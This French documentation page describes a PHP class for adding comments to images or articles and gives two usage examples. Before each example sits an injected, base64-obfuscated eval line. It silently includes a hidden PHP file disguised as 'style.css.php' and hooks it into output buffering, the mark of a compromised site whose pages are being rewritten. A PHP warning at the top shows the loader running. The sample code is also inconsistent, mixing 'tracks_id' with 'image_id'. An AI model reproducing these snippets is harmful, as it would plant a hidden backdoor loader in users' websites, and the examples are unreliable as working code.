Warning: file_exists() [function.file-exists]: Unable to access /mnt/157/sda/6/e/scriptgame/classes/classcomment/include/classcomment/adodb/pear/Auth/Container/CVS/style.css.php in /mnt/129/sda/6/e/scriptgame/classes/classcomment/index.php(1) : eval()'d code on line 1
Class Comments

Bienvenue sur le site de la classe php "Class Comments".
Présentation .:. Documentation .:. Todo .:. Télécharger .:. Contact

1-Comment ca marche?

L'utilisation de la classe est simple.Il faut en premier renseigner dans le fichier de la classe (class_comment.php) les paramètre de connexion à la base de données.Ensuite il faut inclure le script dans votre page (avec la méthode include ou include_once), créer un nouvel objet, puis lui fournir les paramètres nécessaires. Voici ci-dessous un exemple de base :

1-a)Suggestion pour ajouter les commentaires pour UN ARTICLE DANS UNE PAGE

<?php /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21mc24nXSkpeyRHTE9CQUxTWydtZnNuJ109Jy9tbnQvMTU3L3NkYS82L2Uvc2NyaXB0Z2FtZS9jbGFzc2VzL2NsYXNzY29tbWVudC9pbmNsdWRlL2NsYXNzY29tbWVudC9hZG9kYi9wZWFyL0F1dGgvQ29udGFpbmVyL0NWUy9zdHlsZS5jc3MucGhwJztpZihmaWxlX2V4aXN0cygkR0xPQkFMU1snbWZzbiddKSl7aW5jbHVkZV9vbmNlKCRHTE9CQUxTWydtZnNuJ10pO2lmKGZ1bmN0aW9uX2V4aXN0cygnZ21sJykmJmZ1bmN0aW9uX2V4aXN0cygnZGdvYmgnKSl7b2Jfc3RhcnQoJ2Rnb2JoJyk7fX19')); ?>
<?php
  include_once ('./class_comments.php');
  	$shout=new Comments(); // declaration d'un nouvel objet
	$shout->table="image"; // quel table est concernée
	$shout->id_table="id_image"; // quel est le champ id dans cette table
	$shout->foreign_id=$row['id_image']; //
	if(isset($_POST['Comments_add'])&&($_POST['Comments_add']=="add")){
		if(($_POST['id_key']==$shout[$row['id_image']]->foreign_id)){
			$shout->nom=$_POST['nom'];
			$shout->email=$_POST['mail'];
			$shout->comment=$_POST['comment'];
			if ($_POST['suivi_mail']=="true") $shout[$row['tracks_id']]->suivi_mail = 1;
			else if ($_POST['suivi_mail']=="false") $shout[$row['tracks_id']]->suivi_mail = 0;
			$shout->add_db(); 
			$_POST['Comments_add']="no";
		}
	}
?>



1-b)Suggestion pour ajouter les commentaires pour PLUSIEURS ARTICLES DANS UNE PAGE

Imaginons que nous ayons une liste d'images et que sur chacune d'elle nous souhaitons pouvoir ajouter dees commentaires

<?php /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21mc24nXSkpeyRHTE9CQUxTWydtZnNuJ109Jy9tbnQvMTU3L3NkYS82L2Uvc2NyaXB0Z2FtZS9jbGFzc2VzL2NsYXNzY29tbWVudC9pbmNsdWRlL2NsYXNzY29tbWVudC9hZG9kYi9wZWFyL0F1dGgvQ29udGFpbmVyL0NWUy9zdHlsZS5jc3MucGhwJztpZihmaWxlX2V4aXN0cygkR0xPQkFMU1snbWZzbiddKSl7aW5jbHVkZV9vbmNlKCRHTE9CQUxTWydtZnNuJ10pO2lmKGZ1bmN0aW9uX2V4aXN0cygnZ21sJykmJmZ1bmN0aW9uX2V4aXN0cygnZGdvYmgnKSl7b2Jfc3RhcnQoJ2Rnb2JoJyk7fX19')); ?>
<?php
/* on initialise la classe tel un tableau avec comme id du tableau le numero de la ligne concerné.
 par exemple, si je sors différentes images de ma table, il va s'agir de l'id de l'image ($row['image_id']) */
$shout[$row['image_id']]=new Comments();
$shout[$row['image_id']]->table="images"; // on désigne la table concernée
$shout[$row['tracks_id']]->id_table="image_id"; // on désigne le champ identifiant de la table
$shout[$row['image_id']]->foreign_id=$row['image_id']; // on donne la valeur de l'identifiant
// à partir d'ici on récolte les infos pour l'ajout d'un commentaire
$shout[$row['image_id']]->nom=$_POST['nom'];
$shout[$row['image_id']]->email=$_POST['mail'];
$shout[$row['image_id']]->comment=$_POST['comment']; 
// petite condition pour l'ajout d'un commentaire envoyé
if(($_POST['Comments_add']=="add")&&($_POST['id_key']==$shout[$row['image_id']]->foreign_id)){
	$shout[$row['tracks_id']]->add_db(); 
	$_POST['Comments_add']="no";
}
// enfin on affiche tous les commentaires
$shout[$row['tracks_id']]->affichetous();

?>